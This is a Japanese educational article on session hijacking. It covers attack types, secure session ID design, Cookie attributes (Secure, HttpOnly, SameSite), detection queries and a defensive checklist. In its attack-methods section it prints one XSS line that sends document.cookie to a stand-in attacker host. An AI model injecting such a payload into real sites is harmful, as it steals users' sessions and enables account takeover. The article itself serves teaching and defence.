PR

セッションハイジャックについて

本記事は学習用です。作成には ChatGPT と GitHub Copilot を使用しています。

1. 概要 — セッションハイジャックの定義と脅威

セッションハイジャックとは、正当な利用者とサーバの間で維持される「セッション識別子（セッションID）」を攻撃者が取得または乗っ取り、利用者になりすまして不正操作を行う攻撃を指す。ここでの「セッション」とは、認証済み状態や一連のやり取りを識別するためにサーバが発行するトークン（セッションID 等）である。一般にセッションIDは Cookie、POST パラメータ、または URL パラメータで受け渡されるが、URL パラメータでの受け渡しは漏えいリスク（ログ、Referer ヘッダー等）から非推奨である。攻撃手法は主に「盗聴（スニッフィング）」「推測・総当たり」「セッション固定化（Session Fixation）」などに分類される。

  • 盗聴: 平文通信の盗聴、XSS 経由の送信、Referer ヘッダー経由の露出など
  • 推測・総当たり: 弱いトークン、推測可能な乱数、連番など
  • セッション固定化: 事前に用意した ID を被害者に使わせる

用語定義:

  • セッションID: サーバがクライアントを識別するためのトークン
  • Cookie 属性: Secure（HTTPS 限定送信）、HttpOnly（JavaScript からアクセス不可）、SameSite（サードパーティ送信制御）など

2. 背景・重要性 — 事例と影響

セッションを奪われると、攻撃者はパスワードを知らなくても当該アカウントへアクセスできる。これにより、個人情報の窃取、権限の不正取得、口座振替やポイント不正利用など重大な被害に直結する。オンラインサービスの信頼低下や法的責任（個人情報保護法等）にもつながるため、設計段階からの対策が必須である。

代表的な事例:

  • 公共 Wi-Fi などで平文 HTTP を傍受され、セッション Cookie を窃取される（サイドジャッキング）
  • XSS 脆弱性により document.cookie を外部送信させ、管理者アカウントが乗っ取られる

3. セッションの技術的基礎と設計要件

安全なセッションIDの要件

  1. 暗号学的擬似乱数生成器（CSPRNG）を用いて生成し、推測や総当たりに耐える十分なエントロピーを確保する
  2. 十分な長さ（推奨ビット長は要件に依存するものの、少なくとも 128 ビット相当のエントロピーを目安）
  3. 送信経路の保護（TLS/HTTPS を常時有効にする）
  4. ライフサイクル管理（ログイン時や権限昇格時の ID 再生成、短い有効期限、アイドルタイムアウト、明示ログアウトでの無効化）
  5. Cookie 属性の適切設定（Secure、HttpOnly、SameSite）

Cookie 属性の意味

  • Secure: HTTPS でのみ送信。中間者攻撃（MITM）による盗聴・改ざんを困難にする
  • HttpOnly: JavaScript からアクセスできない。XSS 経由での Cookie 窃取を防止
  • SameSite: クロスサイト送信を制限し、CSRF などのリスクを低減（SameSite=None を用いる場合は Secure が必須）

4. 攻撃手法 — 具体例と検知・監視

攻撃手法の実例

  • サイドジャッキング: パケットキャプチャにより Cookie を窃取する
  • XSS 経由での Cookie 送信: 例 new Image().src='https://attacker/?c='+document.cookie
  • セッション固定化: 用意したセッションIDを被害者に使わせる
  • セッションIDの総当たり: 乱数が弱い場合に成立

図 — セッションハイジャックの流れ

sequenceDiagram participant User participant Attacker participant Server User->>Server: Login (session_id A) Note right of Server: Server issues cookie: session_id=A User->>Attacker: Visit malicious site (XSS / redirect) Attacker->>Server: Request with stolen session_id=A (impersonates User) Server-->>Attacker: Returns authenticated resources

検知に有効な指標

  • 同一ユーザーID/セッションIDで短時間に異なる IP からのアクセス
  • セッション作成直後に高権限操作や大量データアクセスが発生
  • GeoIP で短時間では不可能な移動（例: 日本→米国）
  • WAF/アプリログに XSS など不正パラメータの痕跡

ログ検索サンプル（疑似クエリ／Elasticsearch 例）:

GET access-logs-*/_search
{
  "query": {
    "bool": {
      "must": [
        { "term": { "user_id": "<target_user>" }},
        { "range": { "@timestamp": { "gte": "now-30m" }}}
      ]
    }
  },
  "aggs": { "by_ip": { "terms": { "field": "client_ip" }}}
}

5. 主要対策チェックリスト

対策目的
セッションIDは CSPRNG で生成推測・総当たり耐性
ログイン/権限昇格で ID 再生成セッション固定化対策
TLS（HTTPS）を常時適用通信経路の盗聴防止
HttpOnly/Secure/SameSite を適用Cookie 窃取・送信制御
XSS 対策（出力エスケープ、CSP［Content Security Policy］）Cookie 窃取の根本対策
セッション無効化 API と監視ルール迅速なインシデント対応

6. 簡易テスト

  1. 閉域網で HTTP にて Cookie 送信を行い、パケットキャプチャで平文に見えるか確認（必ず許可された環境で実施）
  2. テスト用ページで簡易 XSS スクリプトを試し、document.cookie が送信されない（HttpOnly 有効）ことを確認（ラボ限定）
  3. ログイン後および権限昇格時にセッションIDが再生成されるか確認（セッション固定化検査）
  4. SameSite=None を設定する場合は Secure が必須であることを確認

7. よくある誤りと運用上の注意

  • HTTPS を導入しただけでは不十分。XSS 等のアプリ脆弱性は別途対策が必要
  • SameSite=None を使う場合は Secure を必ず付与（最新ブラウザ要件）
  • フレームワーク既定のセッション実装にも落とし穴があるため、ドキュメントとセキュリティアドバイザリを定期確認

8. まとめ

  • セッションハイジャックは、機密性・完全性・適切なライフサイクル管理が欠如したときに発生する。対策は多層防御（TLS、Cookie 属性、XSS 対策、セッションID設計、監視）で講じる
  • 実運用でも定期的な脆弱性診断、ログ監視、インシデント演習を行い、継続的に改善する

参考リンク

  1. OWASP セッション管理チートシート（英語）
  2. IPA（情報処理推進機構）: 安全なウェブサイトの作り方 — セッション管理（日本語）
  3. MDN Web Docs（日本語）: HTTP Cookie の使用と Set-Cookie ヘッダー
  4. JPCERT/CC: インシデント対応・注意喚起

関連書籍

コメント